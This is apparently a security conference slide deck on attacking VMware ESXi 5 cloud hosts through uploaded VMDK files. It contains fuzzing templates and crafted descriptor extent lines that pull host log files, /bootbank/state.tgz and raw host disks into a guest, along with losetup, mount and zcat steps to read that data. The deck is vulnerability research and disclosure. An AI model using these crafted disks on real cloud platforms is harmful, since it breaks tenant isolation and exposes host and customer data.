VMDK Has Left the Building

Attacking Cloud Infrastructures by Malicious VMDK Files

Matthias Luft, Daniel Mende, Enno Rey, Pascal Turbing
{mluft,dmende,erey,pturbing}@ernw.de
Who we are

- Old-school network geeks, working as security researchers for
- Germany based ERNW GmbH
  - Independent
  - Deep technical knowledge
  - Structured (assessment) approach
  - Business reasonable recommendations
  - We understand corporate

- Blog: www.insinuator.net

- Conference: www.troopers.de
Agenda

- Intro & Technical Overview
- Attack Vectors
- Conclusions
How to Attack a (IaaS) Cloud Service?

Or: Which Interfaces Does it Offer?

- Management APIs / Interfaces
  - http://www.insinuator.net/2011/07/the-key-to-your-datacenter/

- From the runtime environment
  - Think: Guest → host attack
  - E.g. look at all the nice attack vectors in VMSA-2012-0009
  - ... with that ridiculous recommendation “Do not allow untrusted users access to your virtual machines.” ;-) 

- On the filesystem level, e.g. by (virtual) image/hard disk upload.
This Is What This Workshop Is About

Attacking Virtual Hard Disks

- With a special focus on VMDK files.
- In particular in VMware vSphere 5 environments.
- There's a breeze of 0-day here ;-)
Virtual File Formats

Short Overview

- There’s a whole bunch of virtual file formats

- Relevant Fact: Distinction in
  - Virtual machine configuration
  - Virtual disk files
Common Files in VMware World

At least the most important ones as for this talk.

- VMX: virtual machine
  - Plain-text configuration/description

```
#!/opt/vmware/server/bin/vmware
.encoding = "UTF-8"
.config.version = "8"
.virtualHW.version = "4"
.scsi0.present = "TRUE"
.memsize = "1512"
```
Common Files in VMware World

At least the most important ones as for this talk.

- VMDK: virtual disk, consisting of two file types:
  - Descriptor file:

```plaintext
# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=a5c61889
[...]
# Extent description
RW 33554432 VMFS "machine-flat01.vmdk"
```

- The actual disk files containing raw disk data (MBR, partition table, file system, content...)
Cloud Deployment

Kudos to Juan Mayer
How Cloud Deployment Works

1) Upload to storage by web interface, FTP, ...

ESXi 5 Host

Hypervisor Local HD

Hypervisor

Backend Storage (e.g. SAN)
How Cloud Deployment Works

1. Hypervisor Local HD
2. Copy to Host

ESXi 5 Host

Backend Storage (e.g. SAN)
How Cloud Deployment Works

3) Cloud Magic!

ESXi 5 Host

Hypervisor

Hypervisor Local HD

Backend Storage

(e.g. SAN)
### Sample of Cloud Providers Allowing to Upload VMDKs

→ We’ve not performed any practical testing. Yet.

<table>
<thead>
<tr>
<th>Provider</th>
<th>Upload via</th>
<th>Upload “Validation“</th>
<th>Further Details &amp; How To’s</th>
</tr>
</thead>
<tbody>
<tr>
<td>terremark.com</td>
<td>Web-Tool</td>
<td>Ovf validation, vmdk validation information in ov</td>
<td><a href="http://support.theenterprisecloud.com/kb/default.asp?id=971&amp;Lang=1">http://support.theenterprisecloud.com/kb/default.asp?id=971&amp;Lang=1</a></td>
</tr>
</tbody>
</table>
Lab Setup

- c) Start VM via SSH/CLI
- b) Start VM via API
- a) Start VM via vCenter

Fully patched environment as of 05/24/2012.
Let's Start Playing

Potential Attack Paths

- Fuzzing
- File Inclusion Stuff
VMDK Fuzzing
Disk metadata

- Textbased harddrive description file.
  
  ```
  # Disk DescriptorFile
  version=1
  encoding="UTF-8"
  ```

- Links to real data files (extents).
  
  ```
  # Extent description
  RW 40960 VMFS "ts_2vmdk-flat.vmdk"
  ```

- Also holds disk physical dimensions.
  
  ```
  ddb.geometry.cylinders = "40"
  ddb.geometry.heads = "16"
  ```
vmdk file fuzzing

name = "vmdkfile"

objects = [
    field("version_str", None, "version=", none),
    field("version", None, "1", std),
    field("version_br", None, "\n", none),

    field("encoding_str", None, "encoding=", none),
    field("encoding", None, ""UTF-8"", std),
    field("encoding_br", None, "\n", none),

    field("CID_str", None, "CID=", none),
    field("CID", None, "c74bb4e1", std),
    field("CID_br", None, "\n", none),

    field("pCID_str", None, "parentCID=", none),
    field("pCID", None, "ffffffff", std),
    field("pCID_br", None, "\n", none),

    [...]
Results...

- From the logs:

  - DiskLib_Check() failed for source disk (15)
  - VMX has left the building: 0
The Beef

Yummy Data

- Different Binary data formats
  - Flat files
  - Growing files
  - Sparse files

- Flat files got no header, they’re just virtual disks plain data.
- Growing and sparse files got a header structure, which makes an excellent target.
name = "ESXi Host Sparse Extend Header - root"

objects = [  
    field("magicNumber", 32, "COWD", none),  
    field("version", 32, "\x00\x00\x00\x01", std),  
    field("flags", 32, "\x00\x00\x00\x03", std),  
    field("numSectors", 32, "\x00\x00\x00\xff", std),  
    field("grainSize", 32, "\x00\x00\x00\x01", std),  
    field("gdOffset", 32, "\x00\x00\x00\x04", std),  
    field("numGDEntries", 32, "\x00\x00\x00\x04", std),  
    field("freeSector", 32, "\x00\x00\x00\x08", std),  
    #root  
]

[...]
Some Code

- Will be found on www.insinuator.net soon.
File Inclusion
File Inclusion

Back to that Descriptor File

```
# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=a5c61889
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"
# Extent description
RW 33554432 VMFS "machine-flat01.vmdk"
```
File Inclusion

Back to that Descriptor File

```plaintext
# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=a5c61889
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"

# Extent description
RW 33554432 VMFS "machine-flat01.vmdk"
RW 0 VMFS "/etc/passwd"
```
Inclusion

First Try

- The classic: /etc/passwd

- RW 33554432 VMFS "machine-flat01.vmdk"
  RW 0 VMFS "/etc/passwd"

- Didn't work ;-)
Inclusion

First Try

Reason: Invalid argument.
See the error stack for details on the cause of this problem.

Time: 5/11/2012 11:14:10
Target: attx
ESXi: 172.27.99.82

Reason: 0 (Invalid argument).
Cannot open the disk '/vmfs/volumes/3ddd6805-add034a2-dd93-2c768a64ce/attx/attx.vmdk' or one of the snapshot disks it depends on.

Submit error report...
First Blood

Logfile Inclusion
Inclusion of Logs

- Extend your disk by any gzipped logfile in /scratch/log

  # Extent description
  RW 33554432 VMFS "machine-flat.vmdk"
  RW 0 VMFS "/scratch/log/vmkernel.0.gz"
Inclusion of Logs

- Boot up the virtual machine
- Define the included section of your hard drive
  $$\text{losetup} \ -o \ (33554432 \times 512) \ -f \ /\text{dev/sda}$$
- Extract data
  $$\text{zcat} \ /\text{dev/loop0} \ > \ \text{extracted_logfile}$$
Demo? Yes, please.
File Inclusion

Just to Make this Clear

This is a GUEST machine accessing the logfiles of the ESX HOST!
File Inclusion

Part 2

- Logs are a nice first step!
- Let’s go through some more log files...
Interesting „log file“

/bootbank/state.tgz

# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=a5c61889
[...]
# Extent description
RW 33554432 VMFS "machine-flat01.vmdk"
RW 0 VMFS "/bootbank/state.tgz"

→ Contains complete backup of /etc!
File Inclusion

Just to Make this Clear

This is a GUEST machine accessing /etc/ of the ESX HOST!
File Inclusion

Part 3

- Logfiles, /etc... on the right way. What else can we do?

- Hard drives/devices in *nix are files, right?

→ Try to include physical host disks in a guest machine!
Device Inclusion

Part 3

Device names on ESXi
Relying on knowledge gathered on the hypervisor!

```
# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=a5c61889
[...]
# Extent description
RW 33554432 VMFS "machine-flat01.vmdk"
RW 8386560 VMFSRAW "/dev/disks/naa.600508b1001ca97740cc02561658c136:2"
```
Device Inclusion

- Include a partition of an enumerated device as follows:

  # Extent description
  RW 33554432 VMFS “machine-flat.vmdk”
  RW 8386560 VMFSRAW “/dev/disks/naa.600508b1001ca97740cc02561658c136:2”

- The “:2” indicates the partition number, e.g. similar to /dev/sda2 in linux
Device Inclusion

- Once you made your loop device with the appropriate offset, you are actually able to mount the partition

```
root@attx:~# losetup -v -o 17179869184 -f /dev/sda
Loop device is /dev/loop0
root@attx:~# mount /dev/loop0 /mnt/
root@attx:~# ls /mnt/
core  downloads  log  var
```
Demo? Yes, please.
Device Inclusion

Just to Make this Clear

This is a GUEST machine accessing a physical harddrive of the ESX HOST!
Complete Attack Path
In Cloud Environments
Prerequisites

For Complete Attack Path

- Files
  - must be on vmfs partition
  - must be writable (for hostd?)
  - must be unlocked, e.g. not reserved by running Vmware

- ESXi5 hypervisor in use
- Deployment of externally provided VMDK files is possible
- Deployment using the VMware API
  - without further sanitization/input validation/VMDK rewriting.
Attack Path

- Deploy a virtual machine referencing `/scratch/log/hostd.0.gz`
- Access the included `/scratch/log/hostd.0.gz` within the guest system and grep for ESXi5 device names
- Deploy another virtual machine referencing the extracted device names

→ Enjoy access to all physical hard drives of the hypervisor ;-}
Attack Path

- Deploy a virtual machine referencing /scratch/log/hostd.0.gz
- Access the included /scratch/log/hostd.0.gz within the guest system and grep for ESXi5 device names
- Deploy another virtual machine referencing the extracted device names

→ Enjoy access to all physical hard drives of the hypervisor ;-)}
Device Enumeration

- By iterating through logfiles like filename.X.gz one may collect a huge amount of information.

- Looking for Devicenames:
  
  ```
  $ egrep -o "\w{3,}\.[0-9a-f]{32}" deviceenum/hostd.log|sort|uniq
  naa.600508b1001ca97740cc02561658c136
  naa.600c0ff000109e5b0000000000000000
  naa.600c0ff000109e5b52d3104f01000000
  naa.600c0ff000109e5b8ee84d4f01000000
  naa.600c0ff000109e5b968c4f4f01000000
  naa.600c0ff000134edc0000000000000000
  ```
Device Inclusion

Just to Make this Clear

This is a **GUEST** machine accessing physical harddrive of the **ESX HOST** without additional knowledge!
There's even more stuff
Coming Soon To A Cloud Near You...

- Hypervisor Denial of Service?
- Not to be discussed in this workshop due to time constraints.
But It's Certainly Doable ;-)
Conclusions

- Virtual hard disk integration offers yet-another-interface for attack exposure.

- In particular in VMware vSphere 5 space.

- Appropriate trust relationships and/or careful sanitizing needed.
There’s never enough time...

THANK YOU...

...for yours!